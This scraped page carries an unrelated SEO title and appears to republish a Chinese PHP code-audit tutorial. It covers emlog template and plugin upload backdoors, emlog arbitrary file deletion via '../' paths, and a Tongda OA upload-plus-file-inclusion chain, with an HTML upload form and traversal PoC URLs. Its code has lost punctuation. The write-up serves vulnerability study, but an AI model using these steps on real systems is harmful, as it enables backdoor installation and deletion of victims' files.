当前位置: 首页 > news >正文

网站制作详细流程网站建设公司 华艺网络

网站制作详细流程,网站建设公司 华艺网络,桐庐住房和城乡建设局网站,seo网站推广如何做目录 emlog-文件上传文件删除 emlog-模板文件上传 emlog-插件文件上传 emlog-任意文件删除 通达OA-文件上传文件包含 知识点#xff1a; PHP审计-原生开发-文件上传文件删除-Emlog PHP审计-原生开发-文件上传文件包含-通达OA emlog-文件上传文件…目录 emlog-文件上传文件删除 emlog-模板文件上传 emlog-插件文件上传 emlog-任意文件删除 通达OA-文件上传文件包含 知识点 PHP审计-原生开发-文件上传文件删除-Emlog PHP审计-原生开发-文件上传文件包含-通达OA emlog-文件上传文件删除 文件安全挖掘点 1、脚本文件名upload.php、up.php、upfile.php、del.php、delfile.php、down.php、downfile.php 、read.php、readfile.php 2、应用功能点下载上传读取删除   -- URL路径 -- 文件地方代码 -- 分析 如果功能点可以作为漏洞的强特征就可以通过找功能点来找漏洞 3、操作关键字直接搜索操作类函数或变量$_FILES  move_upload_file 还有 上传文件删除文件安装文件上传成功上传失败等 搜索不到文件路径也可能写入数据库了 emlog-模板文件上传 搜索函数关键字或应用关键字 流程搜$_FILES-template.php-upload_zip-emUnZip 流程搜安装或上传等-template.php-upload_zip-emUnZip https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536 这个路东并不是说文件里面存在上传漏洞因为在软件、应用程序或网站的开发中/templates 目录通常是用来存放模板文件的地方。模板文件用于定义数据显示的结构和布局是一种将内容和表现分离的设计手段。 意思应该上传模板文件存在漏洞 修改参数 tpl 即可更换模板 模板文件存放路径  搜$_FILES 搜索上传 定位到文件 /admin/template.php 搜索安装模板在 /view/template.php可以根据 MVC 架构特点在 /admin/template.php 处理试图 MVC 架构是一种用于设计软件应用的模式尤其是在图形用户界面(GUI)的应用程序开发中广泛采用。MVC 代表 Model-View-Controller这三个组件是MVC架构的核心它们各自承担着不同的职责使得应用程序的开发、维护和扩展变得更加容易和清晰。 Model模型:模型代表的是应用程序的数据结构通常模型对象负责在数据库中存取数据。它包含了数据的处理逻辑例如计算或数据校验等。模型是独立于用户界面的因此模型的改变通常不直接影响视图的显示。模型提供了一种方式来操作应用程序的数据以及将这些数据转化为有用的信息。View视图:视图是应用程序中用户界面的部分。它负责将数据即模型以图形界面的形式展现给用户。视图仅仅展示数据不包含业务逻辑。换句话说视图是模型的可视化表示。当模型的状态发生变化时视图可以更新其展示的内容反映最新的信息。Controller控制器:控制器是模型与视图之间的协调者。它接收用户的输入例如鼠标点击和键盘输入并决定如何处理这些输入。例如控制器可以决定响应用户的某个动作来修改模型的状态或更新视图。控制器将用户的输入转化为模型的更新和视图的操作确保模型和视图的同步。 进入 emDirect() 函数 $r explode(/, $zip-getNameIndex(0), 2); getNameIndex(0) 方法调用是ZipArchive类的一个功能它接受一个整数作为参数在这个例子中是0这个参数指定了ZIP文件中条目的索引。此方法返回该索引对应的条目的名称即ZIP文件中第一个文件或文件夹的名称。如果ZIP文件为空或指定的索引不存在此方法将返回FALSE。 explode(/, $zip-getNameIndex(0), 2) 函数是PHP中用于将字符串拆分为数组的内置函数。这里它被用来将getNameIndex(0)返回的第一个条目名称按照/正斜杠分隔符进行分割。参数2表示最多分割为两部分这意味着如果存在多个/只分割第一个将结果分为两个元素的数组。 $dir isset($r[0]) ? $r[0] . / : ; 这行PHP代码是在处理由前一行代码$r explode(/, $zip-getNameIndex(0), 2);生成的数组$r。具体来说它在确定并构建一个表示目录路径的字符串。 代码解析如下 isset($r[0])这个函数检查数组$r中是否有索引为0的元素。由于explode函数至少会返回一个元素的数组除非传递的是空字符串通常情况下索引0是存在的。如果$zip-getNameIndex(0)返回的是以/开头的路径那么$r[0]将是一个空字符串。? $r[0] . /这是三元运算符的中间部分。如果isset($r[0])为true即$r[0]存在那么取出数组$r中索引为0的元素并在其后添加一个正斜杠/。这通常用来确保得到的路径是一个目录路径。: 这是三元运算符的最后部分。如果isset($r[0])为false即$r[0]不存在则目录字符串设为一个空字符串。$dir这是存储最终目录字符串的变量。如果数组$r中存在索引0那么$dir将是该值加上一个尾随正斜杠表示目录。如果不存在$dir就是空字符串。 综上所述这行代码用于从ZIP压缩包中提取的第一个文件或目录的路径获取它的目录部分并确保这个目录字符串以正斜杠结束。这在处理ZIP文件中的条目时用于构建路径、创建目录结构或进行路径检查时非常有用。 此处上传模板存在文件上传漏洞且没有过滤。 如何利用 压缩默认模版目录压缩一个带后门模版上传带后门模版压缩包 制作模板压缩包文件目录如下 test.php内部是一个后门 上传常规出现 test 模板 模板压缩包制作可知压缩一下defualt或者下载一个看看目录结构 emlog-插件文件上传 流程搜$_FILES-plugin.php-upload_zip-emUnZip 流程搜安装或上传等-plugin.php-upload_zip-emUnZip https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535 定位到 /admin/plugin.php 制作插件压缩包 上传成功 emlog-任意文件删除 流程搜unlink-data.php-actiondell_all_bak-bak[] https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633 1、/admin/data.php?actiondell_all_bak 2、bak[1]../xxx.php 删除成功 通达OA-文件上传文件包含 安装双击运行即可 安装后的目录 控制中心在 /bin 目录下 Web目录 IDEA打开源码发现源码加密 解决办法 方法一找关键字如上图中可能在前面中间后米娜之后百度搜索看看是什么加密再看看能否解密方法二直接搜索该OA版本的加密 开始时使用Zend解密出现闪退原因(1) 内存不够   (2)代码资源被占用 退出IDEA即可解决 等待IDEA更新索引 流程找文件名-绕验证P-DEST_UID,UPLOAD_MOD-构ATTACHMENT 文件上传(文件名称)/webroot/ispirit/im/upload.php 流程搜include_once-gateway.php-$url-$key-$json 文件包含(include_once)/ispirit/interface/gateway.php 这个漏洞的挖掘时是艰难的项目太大了需要时间慢慢测试才发现到upload.php使用搜索的方式结果太多了。实战中大型的程序挖掘需要时间。也可以使用动态分析的技术配合使用。 接收参数 p  经由上述分析构造符合条件的文件上传 设置P参数不为0设置DEST_UID参数为1设置UPLOAD_MODE参数为1,2,3设置上传文件参数名为ATTACHMENT html body form actionhttp://127.0.0.1/ispirit/im/upload.php methodpost enctypemultipart/form-data input typetextnameP value1/input input typetextnameUPLOAD_MODE value1/input input typetext nameDEST_UID value1/input input typefile nameATTACHMENT/input input typesubmit /input /body /html文件监控file-jiankong.py方便监控获取文件上传到什么地方 使用直接放到文件的根目录下就可以监视该文件夹下的文件变化可以快速找到文件上传到那个目录了 txt 里面是后门代码  这个文件是不可访问的没有权限因为再 Web 目录的外面 思路配合文件包含后门代码需要满足参数参数可控没过滤 poc1:/ispirit/interface/gateway.php?json{}url/general/../../attach/im/2310/1600449966.1.txt poc2:/ispirit/interface/gateway.php?json{}url/ispirit/../../attach/im/2310/1600449966.1.txt poc3:/ispirit/interface/gateway.php?json{}url/module/../../attach/im/2310/1600449966.1.txt但是又碰到一个问题 没有回显解决办法webshell 连接把结果写入到别的文件里再访问。
http://www.hkea.cn/news/14354240/

相关文章:

  • 郑州网站建设网站推广学做网站
  • 网站突然掉排名了中国建设银行网站 个人客户
  • 某企业管理系统wordpress手机优化
  • 商城网站的seo优化改怎么做wordpress部署文件夹
  • 做的好的宠物食品网站城乡建设局官方网站
  • 做网站的用多少钱先用ps后用dw做网站
  • 网站编辑工具软件深圳做推广哪家比较好
  • 韩语网站建设注意事项帝国行业网站模板
  • 个人网站备案可以放什么内容网站开发售后服务能力
  • 手机英文网站大全上海房产网二手房出售信息
  • 远象建设 网站网站的可行性分析怎么写
  • 做暧暖的免费网站优化课程设置
  • 环保网站 怎么做熊猫办公ppt模板下载免费
  • 网站联系我们的地图怎么做织梦网站图片修改不了
  • 网站建设开发案例教程视频教程网站设计报价方案
  • 番禺建设网站企业自助网站建设推广优化策略
  • 学做网站论坛 可以吗谷歌推广培训
  • 平面排版网站wordpress背景
  • 模板建站公司广州互联网公司排名前20
  • 珠海做网站优化的公司vi设计主题品牌
  • 都有什么类别的网站网站排名优化培训电话
  • 路由器 做网站平顶山市哪里有做网站的
  • 淄博安监局网站两体系建设做网站定制开发的公司哪家好
  • html页面网站建设中网站建设模版 优帮云
  • 松江 网站建设公司wordpress 菜单 锚点
  • 怎么建立微信大转盘的网站服务seo的优化策略有哪些
  • 做网站项目后台的学院门户网站建设
  • 互联网彩票网站开发王妃说此生不复相见
  • 免费seo网站诊断免费公司标志图片logo
  • 在哪里可以改动网站标题湖南平台网站建设设计